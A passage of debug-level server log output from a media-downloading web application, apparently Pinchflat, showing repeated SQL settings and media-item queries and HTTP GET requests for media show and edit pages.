s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.603 [debug] QUERY OK source="settings" db=0.5ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.604 [debug] QUERY OK source="settings" db=0.3ms idle=3.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.605 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.606 [debug] QUERY OK source="settings" db=0.3ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.610 [info] Sent 200 in 9ms 04:53:47.611 [info] Sent 200 in 17ms 04:53:47.681 [info] GET /sources/30/media/138657 04:53:47.681 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "138657", "source_id" => "30"} Pipelines: [:browser] 04:53:47.682 [debug] QUERY OK source="media_items" db=0.4ms idle=79.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [138657] 04:53:47.683 [debug] QUERY OK source="tasks" db=0.3ms idle=79.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [138657] 04:53:47.684 [debug] QUERY OK source="sources" db=0.5ms idle=79.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:47.685 [info] GET /sources/31/media/139344 04:53:47.685 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=79.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7074] 04:53:47.685 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "139344", "source_id" => "31"} Pipelines: [:browser] 04:53:47.687 [debug] QUERY OK source="settings" db=0.6ms idle=80.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.688 [debug] QUERY OK source="settings" db=0.5ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.688 [debug] QUERY OK source="media_items" db=1.7ms idle=3.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139344] 04:53:47.690 [info] GET /sources/30/media/138657/edit 04:53:47.690 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "138657", "source_id" => "30"} Pipelines: [:browser] 04:53:47.690 [debug] QUERY OK source="tasks" db=1.0ms idle=5.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [139344] 04:53:47.690 [debug] QUERY OK source="settings" db=1.5ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.692 [debug] QUERY OK source="sources" db=2.7ms queue=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:47.692 [debug] QUERY OK source="media_items" db=1.8ms idle=2.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [138657] 04:53:47.693 [debug] QUERY OK source="oban_jobs" db=0.6ms queue=0.1ms idle=4.7ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7126] 04:53:47.694 [info] GET /sources/30/media/138228 04:53:47.694 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "138228", "source_id" => "30"} Pipelines: [:browser] 04:53:47.695 [debug] QUERY OK source="settings" db=1.2ms queue=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.695 [debug] QUERY OK source="media_profiles" db=1.5ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.696 [debug] QUERY OK source="settings" db=0.9ms queue=0.2ms idle=2.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.697 [debug] QUERY OK source="settings" db=1.7ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.697 [debug] QUERY OK source="media_items" db=1.9ms idle=2.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [138228] 04:53:47.698 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.700 [debug] QUERY OK source="settings" db=1.3ms queue=0.3ms idle=3.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.702 [debug] QUERY OK source="sources" db=2.1ms queue=0.1ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:47.702 [debug] QUERY OK source="tasks" db=2.8ms queue=0.3ms idle=3.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [138228] 04:53:47.703 [debug] QUERY OK source="settings" db=1.4ms queue=0.6ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.704 [info] Sent 200 in 23ms 04:53:47.705 [info] Sent 200 in 15ms 04:53:47.706 [debug] QUERY OK source="oban_jobs" db=2.0ms queue=0.1ms idle=6.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7041] 04:53:47.708 [debug] QUERY OK source="media_profiles" db=2.4ms queue=0.1ms idle=4.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.709 [debug] QUERY OK source="settings" db=2.3ms queue=0.1ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.710 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=7.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.712 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=8.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.715 [info] Sent 200 in 30ms 04:53:47.716 [debug] QUERY OK source="media_profiles" db=1.7ms idle=8.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.722 [info] Sent 200 in 27ms 04:53:47.766 [info] GET /sources/30/media/138228/edit 04:53:47.766 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "138228", "source_id" => "30"} Pipelines: [:browser] 04:53:47.767 [info] GET /sources/31/media/139344/edit 04:53:47.768 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "139344", "source_id" => "31"} Pipelines: [:browser] 04:53:47.768 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=59.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [138228] 04:53:47.769 [debug] QUERY OK source="media_items" db=0.5ms idle=59.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [139344] 04:53:47.770 [debug] QUERY OK source="settings" db=0.4ms idle=58.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.771 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=57.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.771 [debug] QUERY OK source="settings" db=1.2ms idle=54.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.772 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.773 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.773 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.775 [info] GET /sources/31/media/91229 04:53:47.776 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91229", "source_id" => "31"} Pipelines: [:browser] 04:53:47.776 [info] Sent 200 in 9ms 04:53:47.777 [info] Sent 200 in 11ms 04:53:47.778 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=5.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91229] 04:53:47.780 [debug] QUERY OK source="tasks" db=1.1ms idle=7.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [91229] 04:53:47.780 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 04:53:47.781 [debug] QUERY OK source="settings" db=0.3ms idle=8.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.782 [debug] QUERY OK source="settings" db=0.3ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.783 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=5.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.787 [debug] QUERY OK source="media_profiles" db=1.7ms idle=5.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 04:53:47.791 [info] Sent 200 in 16ms 04:53:47.857 [info] GET /sources/31/media/91229/edit 04:53:47.857 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "91229", "source_id" => "31"} Pipelines: [:browser] 04:53:47.858 [debug] QUERY OK source="media_items" db=0.4ms idle=76.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [91229] 04:53:47.859 [debug] QUERY OK source="settings" db=0.2ms idle=77.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.860 [debug] QUERY OK source="settings" db=0.3ms idle=76.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.862 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=74.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:53:47.865 [info] Sent 200 in 7ms 04:53:47.866 [info] GET /sources/30/media/137801 04:53:47.866 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "137801", "source_id" => "30"} Pipelines: [:browser] 04:53:47.867 [debug] QUERY OK source="media_items" db=0.5ms idle=18.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [137801] 04:53:47.870 [debug] QUERY OK source="tasks" db=2.0ms idle=9.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [137801] 04:53:47.870 [debug] QUERY OK source="sources" db=2.3ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 04:53:47.872 [debug] QUERY OK source="oban_jobs" db=0.6ms idle=11.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7007] 04:53:47.872 [info] GET /sources/31/media/91231 04:53:47.873 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "91231", "source_id" => "31"} Pipelines: [:browser] 04:53:47.873 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=10.7ms SELECT 